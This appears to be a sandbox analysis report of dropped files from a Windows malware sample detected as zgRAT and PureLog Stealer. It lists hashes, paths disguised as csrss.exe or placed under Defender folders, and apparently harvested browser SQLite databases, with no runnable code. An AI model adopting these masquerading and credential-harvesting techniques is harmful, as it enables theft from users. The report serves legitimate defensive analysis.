Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	ASCII text, with very long lines (711), with no line terminators
Category:	dropped
Size (bytes):	711
Entropy (8bit):	5.889436887692394
Encrypted:	false
SSDEEP:	12:jnJOcJmhvOK1FdivFvcUgmqniQs4meZ/JlRmBiqmFpsUlQ9EnirDA3UJkjJzCGn:jQcOWK0kCqntTZ/JlmmFdlzUmN
MD5:	650C1A1E1552C3F085705E1E2DAFED74
SHA1:	FD99728548BE27D8638CBD839BBF6793497202DB
SHA-256:	B9EE2D48046627065B5B9C2D5D530A11F7ABA1533DE8B537D72548539192AC52
SHA-512:	84F4F87AC650A2A6C8789FC88300BC32F33040266B186F1F27E76BD428CFBA97EF2748407B6CCD81D0366DC09CA0C5232FB0936DD04409A569ED2628F74B28E3
Malicious:	false
Preview:	AULJCe6mHsYXLdrTEUL65GYjAqSekYzAPbM8ebR5aZ2PiuC78yqOolw36lIWLbBs3YHtRtymDPgfOJBQnVgvskVopSB2S4t8YJWJmTqOADLYFQoxk2t05QASCcE8r5TIghHFw2nTpSvoY7jYnOSaK3DIJDGJPrgEtC2hJjArPaLneV3F3qUdm38ne86tvdE7vq4WFCOENkLuranxJAQiXDc0EOCKnQ6vVN2ybhA1bPPCsN5EVJjuMfkrODR09Db7oZZdiyVmAYHHyaI0T8zerLiznKkXPK2YySXTybggx7uyYd3y5bhAO7Pd0j0XO8W0gsSfCzC1cSqtauaKQwbyn1K1C4cOlISzk4RqKXvGYpi5QfCFIpGbgiNpibdIWxPTA1JgduA3AVZ7SOkg1XF5B0SBqlHs4mtlZP5YWflYpNbKJPXT06R8rURJiH01nR8XlxhDTLKVvrPyZI2aOx18Vu4F7vzOptuYODiVsTApv5N9EdtaPZnzZAC03bFhW5qC71jWjgs4xMMah4BdCY9QG59OAsbQNdSzOLCM4X1sqsCMxlT9amf76a5B2UV0FcqU3WMW1yiohRjY3waZZczl7V3yPAUkBAnOBsSbZ6HlE0ap0hIF35bmmFWidXH1e8mgoVWKd9AcVOhH5O8s1OqFiAl6Wu7BzQGFN3BeK7m459RYiOmPZZ9PRg7nuaysB8nFHb3BNdh

C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1921536
Entropy (8bit):	7.536399913436409
Encrypted:	false
SSDEEP:	24576:phNuHmfG8hHHXznroUlO2JYm4hTUWfm4yw+fbEkb0JS6pnmJ3F1KKDirtJYKWdLI:pqGfG8VznrnlruwWfvaE/J5mJOtzSL
MD5:	F59DF4574B5C3BB1F563A585B031DC2B
SHA1:	74005BAD7458957B59505C4CA1EAF5464DC5FEDF
SHA-256:	DF0755B9D78D1E923A225189604215FDB48793F363691E7A7ED2126B481E94D1
SHA-512:	FE0B511C5F77E4859A58DFA71798DDAAF0260B44D7C9C51730CA0B16BDE6BCF8447183739BAE1D20530FD9B5D0E80C88CD665BF0325635098BACB2790E81CB45
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...S.rg.................J...........h... ........@.. ....................................@..................................g..K....... ............................................................................ ............... ..H............text...$H... ...J.................. ..`.rsrc... ............L..............@....reloc...............P..............@..B.................h......H....... ............... ....}..Lg.......................................0..........(.... ........8........E....).......9...8...8$...(.... ....~....{....9....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0..'....... ........8........E............V..................8.......... ....~....{....9....& ....8........~....(g...~....(k... ....<s... ....8....~....(_... .... .... ....s....~....(c....... ....~....{....9I...& ....8>...8$... ....8/...8.... ....8 ...r.

C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\ProgramData\Microsoft\User Account Pictures\6a193675dec995

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.75298022545429
Encrypted:	false
SSDEEP:	6:MSH8m0aFpAB9V8RxPafFFRpZKL4W80rG1vRNaCl:X8m006MXyfTRiDO5N3l
MD5:	50DE945A91A418C545988858EFFEC050
SHA1:	9923255D908F1BD162426810205117201025EBA8
SHA-256:	7F15509500C8559FA21096669C58FA33ECDE2C3494550677984B17BD779E90C6
SHA-512:	CE7988DB63ECDC22BBCF0031617F46DC8C53091624C3BC3E920E6CD042499CF9A20D3EEAAC331552CB689B9C99FB25DAB641101711B82BB87307FA9AFA6D003E
Malicious:	false
Preview:	oWGCJUt7VFfoFoDW9h0HTYrCzyCtjpRm1B2hXFsfV9ztcNgiYWridl4PoEMUR9Xpy2xDwg93yVwTj8jmReVN7sJPHm3T3XNVlK5kZdv2WytIzkqpejCwoKrFsi5Jnq9bHasZD9Mxsd1J8BZg5NyUUarbcz11hmPpySAZ2RmeWOEKSiGrIZNZ1pGrsR6NHUPGOLUqBAookT7FWgI3tKsIYzxJMTqkUZXB97

C:\ProgramData\Microsoft\User Account Pictures\SKldWJijnIiMahBoQJBr.exe

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1921536
Entropy (8bit):	7.536399913436409
Encrypted:	false
SSDEEP:	24576:phNuHmfG8hHHXznroUlO2JYm4hTUWfm4yw+fbEkb0JS6pnmJ3F1KKDirtJYKWdLI:pqGfG8VznrnlruwWfvaE/J5mJOtzSL
MD5:	F59DF4574B5C3BB1F563A585B031DC2B
SHA1:	74005BAD7458957B59505C4CA1EAF5464DC5FEDF
SHA-256:	DF0755B9D78D1E923A225189604215FDB48793F363691E7A7ED2126B481E94D1
SHA-512:	FE0B511C5F77E4859A58DFA71798DDAAF0260B44D7C9C51730CA0B16BDE6BCF8447183739BAE1D20530FD9B5D0E80C88CD665BF0325635098BACB2790E81CB45
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...S.rg.................J...........h... ........@.. ....................................@..................................g..K....... ............................................................................ ............... ..H............text...$H... ...J.................. ..`.rsrc... ............L..............@....reloc...............P..............@..B.................h......H....... ............... ....}..Lg.......................................0..........(.... ........8........E....).......9...8...8$...(.... ....~....{....9....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0..'....... ........8........E............V..................8.......... ....~....{....9....& ....8........~....(g...~....(k... ....<s... ....8....~....(_... .... .... ....s....~....(c....... ....~....{....9I...& ....8>...8$... ....8/...8.... ....8 ...r.

C:\ProgramData\Microsoft\User Account Pictures\SKldWJijnIiMahBoQJBr.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\ProgramData\ssh\886983d96e3d3e

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	ASCII text, with very long lines (898), with no line terminators
Category:	dropped
Size (bytes):	898
Entropy (8bit):	5.908849533283518
Encrypted:	false
SSDEEP:	24:pywi7oh/cgtbHD+V04KffdZQuNN1PKDJy0J:knjmTm0JZQ580J
MD5:	C2A03CC632590001C5ED984A8955CAE7
SHA1:	36D38CECE8C9178AB709C0B67A3341E2ABBC4336
SHA-256:	DE01AD84BD8131B2FED39441EB557CEAB93AA02E2A8B9B447A84685CC83BD6F2
SHA-512:	81A53BC79659DFA36A4354010435FBD645557FD427084FF1208BDB998785F0C04E75961FFA25F1AD4F3BFF0D5FCF77200AEE9CF6B3378624DED88FEFE2D291AD
Malicious:	false
Preview:	IgpnBfNhgOlR4oXYqJEMUlQ1uvTAVh1JHYHPhh6ALDa4IPOlEoFTBfjgPy2QMMM9XcKghH1INEAQKWsfgr6qbhImyk9tppx91bgqFsD6x6G6eSV3FXufQfhzTir7IHdhRBZtzCZxnA3faLHgPFnR5RsW4rWgBGxpdjpd3mDD771PlCYIbLsDdLm9SDzIp3vgNOB1fommBkU8Zdu1SOF0YuLR7qK0x5YELVCWAhmwiFB31njzS70ax4IcDu4ydvzGMQwEaX1vlSSTsRaTHVizF7QQNkTPmxTxP4rk0eZ5FFyfmytvUkrHN9BOAg10DlIy9eDykzcm6mu9JuoY0i5BGLjP3ckUni1d6AgHu5KfIEKkPBFP1c9fqGrx5x4IOI9XvQCIOgn4Xa3BB8A2WVcKjVx0StM6BCQAFxz886AVyFHPMqw6xCv3pyyZcM0fUq3VK36OJB3aUHVeNhnm7PJ9RXUQ8ZgvGeBHLwFTthxvIViidUL4iOiEh4DwiqPtfHT0FNSacU2ZbY06ywwnOlM256kRtSuDSEPABscPCucOVJmIDH7w3lf44a4JmArJkyGXIz4GUhldJ8gwTbNlU7KqiVFkxTmBCSngDPANN1cW9Bv63IzLxGymoZzwtTTB4ka0V9tEb9XdfyrhkJqpdbO6eA2naNd4hbbZk4k3YvtxsVH0sRLkmnhdWeWUHFoNfd5EWS6piwQsraNJ3C4IC3R438CGiQwTGgROZDdaVfBzWzv5QMbEKgLmMBKYPzGSA7lLJ8tzjewg2bhDMHzVzrIkVpCX2ELfYtzZOjvRdlfqtotudHMI9vdSzA0e6V6fTQHJmIzmVi2NMb1q5R4v1DgnPgkNtRVHoAXchkIVRjwb2QGXJKjobLnPud3Fil3ENviLEY

C:\ProgramData\ssh\csrss.exe

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1921536
Entropy (8bit):	7.536399913436409
Encrypted:	false
SSDEEP:	24576:phNuHmfG8hHHXznroUlO2JYm4hTUWfm4yw+fbEkb0JS6pnmJ3F1KKDirtJYKWdLI:pqGfG8VznrnlruwWfvaE/J5mJOtzSL
MD5:	F59DF4574B5C3BB1F563A585B031DC2B
SHA1:	74005BAD7458957B59505C4CA1EAF5464DC5FEDF
SHA-256:	DF0755B9D78D1E923A225189604215FDB48793F363691E7A7ED2126B481E94D1
SHA-512:	FE0B511C5F77E4859A58DFA71798DDAAF0260B44D7C9C51730CA0B16BDE6BCF8447183739BAE1D20530FD9B5D0E80C88CD665BF0325635098BACB2790E81CB45
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\ProgramData\ssh\csrss.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\ProgramData\ssh\csrss.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...S.rg.................J...........h... ........@.. ....................................@..................................g..K....... ............................................................................ ............... ..H............text...$H... ...J.................. ..`.rsrc... ............L..............@....reloc...............P..............@..B.................h......H....... ............... ....}..Lg.......................................0..........(.... ........8........E....).......9...8...8$...(.... ....~....{....9....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0..'....... ........8........E............V..................8.......... ....~....{....9....& ....8........~....(g...~....(k... ....<s... ....8....~....(_... .... .... ....s....~....(c....... ....~....{....9I...& ....8>...8$... ....8/...8.... ....8 ...r.

C:\ProgramData\ssh\csrss.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Gg6wivFINd.exe.log

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1396
Entropy (8bit):	5.350961817021757
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNrJE4qtE4KlOU4mZsXE4Npv:MxHKQwYHKGSI6oPtHTHhAHKKkrJHmHKu
MD5:	EBB3E33FCCEC5303477CB59FA0916A28
SHA1:	BBF597668E3DB4721CA7B1E1FE3BA66E4D89CD89
SHA-256:	DF0C7154CD75ADDA09758C06F758D47F20921F0EB302310849175D3A7346561F
SHA-512:	663994B1F78D05972276CD30A28FE61B33902D71BF1DFE4A58EA8EEE753FBDE393213B5BA0C608B9064932F0360621AF4B4190976BE8C00824A6EA0D76334571
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutr

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SKldWJijnIiMahBoQJBr.exe.log

Download File

Process:	C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\csrss.exe.log

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Temp\0QzMaTtQOl

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5nG6En3HmP

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7QwWewgZrV

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\QBtOqIkgR8

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\R0mjFoWFnV

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RES7B7D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6ec, 10 symbols, created Fri Jan 3 12:45:56 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1956
Entropy (8bit):	4.553808661693433
Encrypted:	false
SSDEEP:	24:HnO9/OfntDfH/wKEsmNyluxOysuZhN7jSjRzPNnqpdt4+lEbNFjMyi0+QlUZ:5vxoKhmMluOulajfqXSfbNtmh1Z
MD5:	DC5C2A27E95A40CDBC7314EB1080BD34
SHA1:	76424729167D714D3677B8F647047A2A16B3E34A
SHA-256:	89B512894FB30021E4028F9639FEFDF54E3729EEF0A569DE52106200B7CE91C1
SHA-512:	D06D2DEDC33B1E5BE728D98686E893872B8B13A793D0D1CF752CEB1981006831F4988B756B2EF6AD1D53C4B612D05A388364B17EF8933F79420373EB8D3AF9BB
Malicious:	false
Preview:	L.....wg.............debug$S........<...................@..B.rsrc$01................h...........@..@.rsrc$02........p...\|...............@..@........=....c:\Windows\System32\CSCF36723D4EAA14E7A90D51663AB383B81.TMP.....................r.av..t.y..............4.......C:\Users\user\AppData\Local\Temp\RES7B7D.tmp.-.<....................a..Microsoft (R) CVTRES.^.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe......................... .......8.......................P.......................h.......................................................\|...............................................\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.

C:\Users\user\AppData\Local\Temp\RxTKvi7bVv

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ub8s1j8cyR

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VY76Af3CbT

Download File

Process:	C:\ProgramData\ssh\csrss.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
